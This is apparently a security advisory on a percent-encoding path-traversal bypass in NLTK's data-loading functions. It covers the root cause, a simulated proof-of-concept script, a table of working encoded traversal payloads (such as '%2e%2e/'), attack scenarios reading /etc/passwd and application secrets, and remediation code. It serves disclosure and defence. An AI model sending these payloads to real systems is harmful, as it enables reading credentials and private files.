Cybersecurity News

Path Traversal in NLTK's nltk.data.load() via Percent-Encoded Sequences

NLTK path traversal vulnerability - GitHub issue 3504

TL;DR: A path-traversal vulnerability in the Natural Language Toolkit (NLTK) allows an attacker who controls the resource-name argument passed to nltk.data.load() or nltk.data.find() to read arbitrary files on the host system by percent-encoding the traversal sequences (%2e%2e instead of ..). The existing safety regex operates on the raw, still-encoded string; url2pathname() then decodes that string into a real path traversal before the filesystem call is made. This post covers the discovery, root cause, proof-of-concept, impact, and remediation.

Background — What Is NLTK?

The Natural Language Toolkit (NLTK) is one of the most widely deployed Python libraries for natural-language processing. With millions of downloads per month on PyPI, it powers everything from academic research pipelines to production sentiment-analysis services, chatbots, and document-classification engines. NLTK ships with a large corpus of linguistic data — tokenisers, taggers, corpora, and pre-trained models — that it downloads on demand and stores under a configurable NLTK data directory.

Applications load these resources at runtime via a single high-level call: nltk.data.load("corpora/stopwords"). The resource-name argument is resolved against the list of configured data directories, converted from a URL-style path to a filesystem path, and opened directly. In many real-world deployments, the resource name comes from user input — a search query, a pipeline configuration file, or an API request parameter — which makes it a natural target for path-traversal attacks.

The Original Vulnerability (CVE-2025-14009)

CVE-2025-14009, disclosed earlier in 2025, described a Zip Slip vulnerability in NLTK's downloader.py. During corpus extraction, archive entries with leading ../ components were written outside the target directory. The fix, merged in pull request #3468 on the develop branch, added a safety regex to reject resource names that look like path traversals:

_UNSAFE_NO_PROTOCOL_RE = re.compile(
    r"(?:\.\./|\.\.$|^/|\\|[A-Za-z]:[/\\])"
)

The intent is clear: block any resource name containing ../, a bare .., an absolute Unix path, a Windows absolute path, or a UNC path. For most inputs this works. However, the check is applied to the raw string as supplied by the caller, before any decoding takes place — and therein lies the new vulnerability.

The New Vulnerability — Percent-Encoding Bypass

NLTK converts resource names to filesystem paths using Python's urllib.request.url2pathname(). This function is designed to handle URL-encoded paths: it decodes percent-encoded sequences such as %2F (slash), %5C (backslash), and crucially %2e (period) into their literal character equivalents before the path is used.

The problem is ordering. The safety check fires on the raw string; url2pathname() fires afterwards:

# nltk/data.py  ~L647  (simplified)
for path_ in nltk_path:
    if _UNSAFE_NO_PROTOCOL_RE.search(resource_name):   # 1. check raw string
        raise ValueError(...)

    p = os.path.join(path_, url2pathname(resource_name))  # 2. decode THEN join
    if os.path.exists(p):
        return FileSystemPathPointer(p)                    # 3. open file

The regex never sees ../; it sees %2e%2e/, which matches none of its patterns. By the time url2pathname() turns %2e%2e into .., the gate has already been passed. The resulting path is joined with the base data directory and handed straight to the filesystem.

Proof of Concept

The following self-contained script demonstrates the bypass without requiring a real NLTK data directory. It creates a temporary directory structure that mimics a deployed environment and shows that a sensitive file one level above the data directory can be exfiltrated:

import os, re, tempfile
from urllib.request import url2pathname

# Reproduce the check from nltk/data.py
_UNSAFE_NO_PROTOCOL_RE = re.compile(
    r"(?:\.\./|\.\.$|^/|\\|[A-Za-z]:[/\\])"
)

# Simulated filesystem layout
tmp = tempfile.mkdtemp()
data_dir   = os.path.join(tmp, "nltk_data")
secret_file = os.path.join(tmp, "SECRET_credentials.txt")
os.makedirs(data_dir)
with open(secret_file, "w") as fh:
    fh.write("AWS_SECRET_KEY=AKIAIOSFODNN7EXAMPLE\nDATABASE_PASS=hunter2\n")

def simulate_find(resource_name, base):
    if _UNSAFE_NO_PROTOCOL_RE.search(resource_name):
        raise ValueError(f"Blocked: {resource_name!r}")
    decoded = url2pathname(resource_name)
    p = os.path.normpath(os.path.join(base, decoded))
    if os.path.exists(p):
        with open(p, "rb") as fh:
            return fh.read()
    raise FileNotFoundError(p)

# Literal traversal — blocked correctly
try:
    simulate_find("../SECRET_credentials.txt", data_dir)
except ValueError as e:
    print(f"Blocked (good): {e}")

# Percent-encoded traversal — bypasses the check
data = simulate_find("%2e%2e/SECRET_credentials.txt", data_dir)
print(f"BYPASSED — read {len(data)} bytes: {data}")

Output:

Blocked (good): Blocked: '../SECRET_credentials.txt'
BYPASSED — read 56 bytes: b'AWS_SECRET_KEY=AKIAIOSFODNN7EXAMPLE\nDATABASE_PASS=hunter2\n'

Multiple encoding variants all produce the same result:

PayloadAfter url2pathname()Bypasses regex?
%2e%2e/secret../secretYes
.%2e/secret../secretYes
%2e./secret../secretYes
%2E%2E/secret../secretYes
../secret../secretNo (blocked)

Attack Scenarios

Scenario 1 — Web API with user-controlled corpus name. An NLP-as-a-service platform exposes an endpoint that accepts a corpus name and returns tokenised text. An attacker sends corpus=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd. The application calls nltk.data.load(corpus), which reads and returns /etc/passwd.

Scenario 2 — Configuration-driven pipelines. A data-processing pipeline reads corpus paths from a YAML configuration file sourced from an untrusted repository. A malicious contributor modifies the path to %2e%2e/app/settings.py. When the pipeline runs, the application's Django settings file — including its SECRET_KEY and database credentials — is read and potentially logged.

Scenario 3 — Multi-tenant NLP platforms. A SaaS platform allows each tenant to specify custom NLTK resource paths. A malicious tenant submits a percent-encoded traversal path targeting another tenant's data directory or the host's cloud-metadata endpoint at 169.254.169.254.

Severity Assessment

CVSS 3.1 Base Score: 7.5 (High)

  • Attack Vector (AV): Network — exploitable over any network interface that reaches the vulnerable application.
  • Attack Complexity (AC): Low — no race conditions, no special configuration required; a single crafted string suffices.
  • Privileges Required (PR): None — an unauthenticated attacker can exploit this wherever user input reaches nltk.data.load().
  • User Interaction (UI): None — fully automated exploitation.
  • Scope (S): Unchanged — the attacker operates within the permissions of the NLTK process.
  • Confidentiality (C): High — arbitrary file read gives access to secrets, credentials, and sensitive data.
  • Integrity (I): None — read-only impact.
  • Availability (A): None — service remains operational.

CWE classification: CWE-22 — Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').

Root Cause Analysis

The fundamental error is validate-then-decode rather than decode-then-validate. This class of bug is well-documented in web-security literature — it is the same pattern that famously allowed IIS 4.0 and 5.0 to be bypassed with Unicode-encoded slashes (MS00-078, CVE-2000-0884) and that underlies many WAF bypass techniques today.

The Python standard library's url2pathname() is a URL-to-path converter, not a sanitiser. Its job is to produce a valid local path from a URL component, and it does that faithfully — including decoding every percent-encoded byte. Using it on untrusted input after a safety check, rather than before, creates a window between validation and use that attackers can exploit.

Remediation

The fix is straightforward: call urllib.parse.unquote() on the resource name before applying the safety regex, so that the check sees the fully decoded string that will eventually reach the filesystem.

from urllib.parse import unquote

def find(resource_name, paths=None):
    # Decode percent-encoding BEFORE validating
    resource_name = unquote(resource_name)

    if _UNSAFE_NO_PROTOCOL_RE.search(resource_name):
        raise ValueError(f"Unsafe resource name: {resource_name!r}")

    for path_ in nltk_path:
        p = os.path.join(path_, url2pathname(resource_name))
        if os.path.exists(p):
            return FileSystemPathPointer(p)

A defence-in-depth improvement would additionally call os.path.realpath() on the resolved path and verify that it starts with the intended base directory — the canonical path-jail check:

base = os.path.realpath(path_)
resolved = os.path.realpath(p)
if not resolved.startswith(base + os.sep):
    raise ValueError("Path escapes data directory")

Conclusion

Percent-encoding bypasses are a classic but persistently effective attack technique. This finding demonstrates that even when a security patch is written with good intentions, validate-then-decode ordering can silently negate the protection. Developers working with URL-derived paths should always decode and normalise before validating, and should treat any string that enters a path-construction operation as untrusted until it has been checked in its fully decoded form. For NLTK users, the immediate mitigation is to avoid passing user-controlled strings to nltk.data.load() or nltk.data.find() without first normalising and validating the input independently.